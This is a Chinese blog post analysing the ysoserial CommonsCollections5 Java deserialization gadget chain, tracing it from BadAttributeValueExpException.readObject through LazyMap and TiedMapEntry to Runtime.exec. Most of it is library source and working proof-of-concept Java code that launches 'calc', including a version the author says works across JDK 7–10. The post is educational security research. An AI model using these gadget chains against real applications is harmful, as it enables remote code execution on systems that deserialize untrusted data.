Java 反序列化系列二:ysoserial-CommonsCollections5 利用链分析

作者: print("") 分类: Java学习 发布时间: 2021-12-17 00:26

ysoserial 给出的调用如下:

Gadget chain:
       ObjectInputStream.readObject()
           BadAttributeValueExpException.readObject()
               TiedMapEntry.toString()
                   LazyMap.get()
                       ChainedTransformer.transform()
                           ConstantTransformer.transform()
                           InvokerTransformer.transform()
                               Method.invoke()
                                   Class.getMethod()
                           InvokerTransformer.transform()
                               Method.invoke()
                                   Runtime.getRuntime()
                           InvokerTransformer.transform()
                               Method.invoke()
                                   Runtime.exec()

一:InvokerTransformer.transform()

先从最低端去分析代码

org\apache\commons\collections\functors\InvokerTransformer#InvokerTransformer  构造函数

    public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
        this.iMethodName = methodName;
        this.iParamTypes = paramTypes;
        this.iArgs = args;
    }

org\apache\commons\collections\functors\InvokerTransformer#transform 方法

    public Object transform(Object input) {
        if (input == null) {
            return null;
        } else {
            try {
                Class cls = input.getClass();
                Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
                return method.invoke(input, this.iArgs);
            } catch (NoSuchMethodException var5) {
                throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");
            } catch (IllegalAccessException var6) {
                throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
            } catch (InvocationTargetException var7) {
                throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var7);
            }
        }
    }

那么调用了此类然后调用了此类的方法, 就是通过反射的方式调用了自己类的方法。例如:Runtime 执行命令。

package cn.o2oxy;

import org.apache.commons.collections.functors.InvokerTransformer;

public class test2 {

    public static void main(String[] args) throws Exception{

        Runtime runtime1 = Runtime.getRuntime();
        runtime1.exec("calc");
       
        InvokerTransformer i2 = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});

        i2.transform(runtime1);


    }
}

那么transform 就是一个类去反射执行他的内部方法。参数根据需要传递的参数进行变量传递即可

二、ChainedTransformer.transform()

org\apache\commons\collections\functors\ChainedTransformer@transform

public ChainedTransformer(Transformer[] transformers) {
    this.iTransformers = transformers;
}

public Object transform(Object object) {
    for(int i = 0; i < this.iTransformers.length; ++i) {
        object = this.iTransformers[i].transform(object);
    }

    return object;
}

transform 是for 循环调用transform函数。那么简单的POC如下:

package cn.o2oxy;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;

public class test2 {

    public static void main(String[] args) throws Exception{
        InvokerTransformer i1 =new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]});
        InvokerTransformer i2 = new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{
            null,new Object[0]
        });
        InvokerTransformer i3 =new InvokerTransformer("exec",
            new Class[]{String.class},new Object[]{"calc"}
        );
        ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{i1,i2,i3});
        chainedTransformer.transform(Runtime.class);

    }
}


三、LazyMap.get()

需要找到那个地方调用了ChainedTransformer@transform 那么找到了LazyMap.get()

org\apache\commons\collections\map\LazyMap@decorate 初始化lazymap

    public static Map decorate(Map map, Transformer factory) {
        return new LazyMap(map, factory);
    }

org\apache\commons\collections\map\LazyMap@get 初始化lazymap

    public Object get(Object key) {
        if (!super.map.containsKey(key)) {
            Object value = this.factory.transform(key);
            super.map.put(key, value);
            return value;
        } else {
            return super.map.get(key);
        }
    }

这里判断了不存在的时候才会去调用transform  函数。那么poc如下:

package cn.o2oxy;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.util.HashMap;
import java.util.Map;

public class test2 {

    public static void main(String[] args) throws Exception{
        //因为需要放到map 需要一个transform 返回自身的类对象
        Transformer c1 = new ConstantTransformer(Runtime.class);
        //通过反射的反射获取到getRuntime() 无参对象
        InvokerTransformer i1 =new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]});
        //通过反射调用Runtime.getRuntime() 函数
        InvokerTransformer i2 = new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{
            null,new Object[0]
        });
        // 通过调用 反射调用 Runtime.getRuntime().exec("calc")
        InvokerTransformer i3 =new InvokerTransformer("exec",
            new Class[]{String.class},new Object[]{"calc"}
        );
        //写入到ChainedTransformer -->this.iTransformers
        ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{c1,i1,i2,i3});
        //chainedTransformer.transform(Runtime.class);
        HashMap map =new HashMap();
        Map lazyMap = LazyMap.decorate(map, chainedTransformer);

        //循环调用ChainedTransformer.iTransformers  依次调用 c1 i1 i2 i3
        lazyMap.get("adadad");
    }
}


四、TiedMapEntry.toString()

只需要找到谁调用了LazyMap.get() 方法就行了

org\apache\commons\collections\keyvalue\TiedMapEntry@TiedMapEntry 构造方法

public TiedMapEntry(Map map, Object key) {
    this.map = map;
    this.key = key;
}

org\apache\commons\collections\keyvalue\TiedMapEntry@toString 方法

    public String toString() {
        return this.getKey() + "=" + this.getValue();
    }

public Object getValue() {
    return this.map.get(this.key);
}

toString –>getValue()–>map.get(key)–>chainedTransformer.transform–>InvokerTransformer.transform 

五、BadAttributeValueExpException.readObject()

他没有继承Serializable 但是他的父类继承了Serializable 【所以是能序列化的】

BadAttributeValueExpException extends Exception  extends Throwable  implements Serializable

javax\management\BadAttributeValueExpException#readObject

    private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
        ObjectInputStream.GetField gf = ois.readFields();
        Object valObj = gf.get("val", null);

        if (valObj == null) {
            val = null;
        } else if (valObj instanceof String) {
            val= valObj;
        } else if (System.getSecurityManager() == null
                || valObj instanceof Long
                || valObj instanceof Integer
                || valObj instanceof Float
                || valObj instanceof Double
                || valObj instanceof Byte
                || valObj instanceof Short
                || valObj instanceof Boolean) {
            val = valObj.toString();
        } else { // the serialized object is from a version without JDK-8019292 fix
            val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName();
        }
    }

那么整体的流程就是

BadAttributeValueExpException.readObject–>toString –>getValue()–>map.get(key)–>chainedTransformer.transform–>InvokerTransformer.transform 

具体的代码如下:

package cn.o2oxy;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import ysoserial.Deserializer;
import ysoserial.Serializer;
import ysoserial.payloads.util.Reflections;

import javax.management.BadAttributeValueExpException;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class test2 {

    public static void main(String[] args) throws Exception{
        //因为需要放到map 需要一个transform 返回自身的类对象
        Transformer c1 = new ConstantTransformer(Runtime.class);
        Transformer c2 = new ConstantTransformer("2");
        InvokerTransformer i1 =new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]});
        InvokerTransformer i2 = new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{
            null,new Object[0]
        });
        InvokerTransformer i3 =new InvokerTransformer("exec",
            new Class[]{String.class},new Object[]{"calc"}
        );
        Transformer transformerChain2 = new ChainedTransformer(
            new Transformer[]{ new ConstantTransformer(1) });

        HashMap map =new HashMap();
        Map lazyMap = LazyMap.decorate(map, transformerChain2);
        lazyMap.get("addddddddddddd");
        TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo222");

        BadAttributeValueExpException val = new BadAttributeValueExpException(null);
        Field valfield = val.getClass().getDeclaredField("val");
        Reflections.setAccessible(valfield);
        valfield.set(val, entry);
        Reflections.setFieldValue(entry, "key", "dongta1i"); // arm with actual transformer chain
        Reflections.setFieldValue(transformerChain2, "iTransformers", new Transformer[]{c1,i1,i2,i3,c2}); // arm with actual transformer chain

        Deserializer.deserialize(Serializer.serialize(val));
    }
}

六、兼容JDK 7 8 9 10 版本的链

package cn.o2oxy;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import ysoserial.Deserializer;
import ysoserial.Serializer;
import ysoserial.payloads.util.Reflections;
import java.util.HashMap;
import java.util.Map;

public class test2 {

    public static void main(String[] args) throws Exception{
        //因为需要放到map 需要一个transform 返回自身的类对象
        Transformer c1 = new ConstantTransformer(Runtime.class);
        Transformer c2 = new ConstantTransformer("2");
        InvokerTransformer i1 =new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]});
        InvokerTransformer i2 = new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{
            null,new Object[0]
        });
        InvokerTransformer i3 =new InvokerTransformer("exec",
            new Class[]{String.class},new Object[]{"calc"}
        );
        Transformer transformerChain2 = new ChainedTransformer(
            new Transformer[]{ new ConstantTransformer(1) });

        HashMap map =new HashMap();
        Map lazyMap = LazyMap.decorate(map, transformerChain2);
        lazyMap.get("addddddddddddd");
        TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo222");
        HashMap ht = new HashMap();
        ht.put(entry, "url");
        Reflections.setFieldValue(entry, "key", "dongta1i"); // arm with actual transformer chain
        Reflections.setFieldValue(transformerChain2, "iTransformers", new Transformer[]{c1,i1,i2,i3,c2}); // arm with actual transformer chain
        Deserializer.deserialize(Serializer.serialize(ht));
    }
}

如果觉得我的文章对您有用,请随意打赏。您的支持将鼓励我继续创作!

发表评论

您的电子邮箱地址不会被公开。